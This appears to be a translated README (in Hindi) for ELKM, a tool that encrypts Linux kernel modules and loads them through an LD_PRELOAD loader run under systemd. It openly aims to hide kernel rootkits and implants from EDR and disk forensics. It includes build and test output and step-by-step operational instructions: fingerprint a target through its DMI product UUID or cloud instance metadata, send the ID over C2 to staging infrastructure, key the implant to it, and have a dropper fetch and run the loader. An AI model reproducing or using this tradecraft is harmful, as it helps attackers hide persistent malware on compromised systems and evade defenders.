
एन्क्रिप्टेड-लिनक्स-कर्नेल-मॉड्यूल
ELKM एन्क्रिप्टेड लोडेबल कर्नेल मॉड्यूल (LKM) को सुरक्षित रूप से परिवहन और लोड करने के लिए एक तंत्र प्रदान करता है। इसका उद्देश्य कर्नेल-आधारित रूटकिट्स और इम्प्लांट्स को एंडपॉइंट डिटेक्शन एंड रिस्पॉन्स (EDR) सॉफ्टवेयर द्वारा अवलोकन से बचाना और डिस्क फोरेंसिक टूलिंग द्वारा रिकवरी के प्रभावों को निष्प्रभावी करना है।
ELKM को विशेष रूप से RHEL/CentOS 7 x86-64 के लिए लिखा गया था।
kernel-tools-libs-3.10.0-1127.18.2.el7.x86_64
kernel-devel-3.10.0-1127.18.2.el7.x86_64
kernel-tools-3.10.0-1127.18.2.el7.x86_64
kernel-headers-3.10.0-1127.18.2.el7.x86_64
kernel-3.10.0-1127.18.2.el7.x86_64
sudo yum install glibc-static -y
sudo yum install kernel-devel -y
sudo yum install kernel-headers -y
sudo yum install openssl-devel -y
sudo yum install libcurl-devel -y
परीक्षण स्क्रिप्ट 4 परीक्षण करती है:
$ make
$ sudo ./test.sh
make -C /lib/modules/3.10.0-1127.13.1.el7.x86_64/build M=/home/test/encrypted-kernel-modules clean
make[1]: Entering directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
CLEAN /home/test/encrypted-kernel-modules/.tmp_versions
CLEAN /home/test/encrypted-kernel-modules/Module.symvers
make[1]: Leaving directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
rm -f loader.so
rm -f payloadfuser
make -C /lib/modules/3.10.0-1127.13.1.el7.x86_64/build M=/home/test/encrypted-kernel-modules modules
make[1]: Entering directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
CC [M] /home/test/encrypted-kernel-modules/kernel-module.o
Building modules, stage 2.
MODPOST 1 modules
CC /home/test/encrypted-kernel-modules/kernel-module.mod.o
LD [M] /home/test/encrypted-kernel-modules/kernel-module.ko
make[1]: Leaving directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
gcc -o loader.so loader.c -fPIC -shared -ldl -lcrypto -Wall
gcc -o payloadfuser payloadfuser.c -lcrypto -Wall
strip --strip-unneeded kernel-module.ko
strip --strip-unneeded loader.so
strip payloadfuser
--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password '07EC86F1-957C-6B4E-9134-7A6DE5ACC99C', and fusing with './loader.so'
stage 2: executing './loader.so':
module loaded: YES
unloading
--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password 'TEST-ENV-KEY', and fusing with './loader.so'
stage 2: executing './loader.so':
module loaded: YES
unloading
--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password 'TEST-STDIN-KEY', and fusing with './loader.so'
stage 2: executing './loader.so':
module loaded: YES
unloading
make
./payloadfuser ./kernel-module.ko ./loader.so dummykey
FOO=dummykey LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
लक्ष्य सिस्टम पर:
cat /sys/class/dmi/id/product_uuid
नोट: यह स्वचालित तरीके से किया जाना चाहिए, जैसे कि ड्रॉपर के माध्यम से। product_uuid को C2 के माध्यम से स्टेजिंग इन्फ्रास्ट्रक्चर को TX करें।
स्टेजिंग इन्फ्रास्ट्रक्चर पर:
./payloadfuser ./implant.ko ./loader.so $uuid
लक्ष्य सिस्टम पर स्टेजिंग इन्फ्रास्ट्रक्चर से लोडर डाउनलोड करें, और इसे एक विश्वसनीय एक्ज़ीक्यूटेबल के माध्यम से चलाएं:
LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
लक्ष्य सिस्टम पर:
curl http://169.254.169.254/latest/meta-data/instance-id
नोट: यह स्वचालित तरीके से किया जाना चाहिए, जैसे कि ड्रॉपर के माध्यम से। इंस्टेंस ID को C2 के माध्यम से स्टेजिंग इन्फ्रास्ट्रक्चर को TX करें।
स्टेजिंग इन्फ्रास्ट्रक्चर पर:
./payloadfuser ./implant.ko ./loader.so $instanceid
लक्ष्य सिस्टम पर स्टेजिंग इन्फ्रास्ट्रक्चर से लोडर डाउनलोड करें, और इसे एक विश्वसनीय एक्ज़ीक्यूटेबल के माध्यम से चलाएं:
LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
स्टेजिंग इन्फ्रास्ट्रक्चर पर:
./payloadfuser ./implant.ko ./loader.so PASSWORD
लक्ष्य सिस्टम पर, पर्यावरण के माध्यम से:
# FOO=PASSWORD LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
#
या stdin के माध्यम से:
# LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
THISISMYINTERACTIVEPASSWORD
#
यदि आप ELKM को परिचालन रूप से तैनात करना चाहते हैं तो कुछ टिप्स:
हमने फिंगरप्रिंटिंग से बचने के लिए इन सुविधाओं को लागू न करने का निर्णय लिया।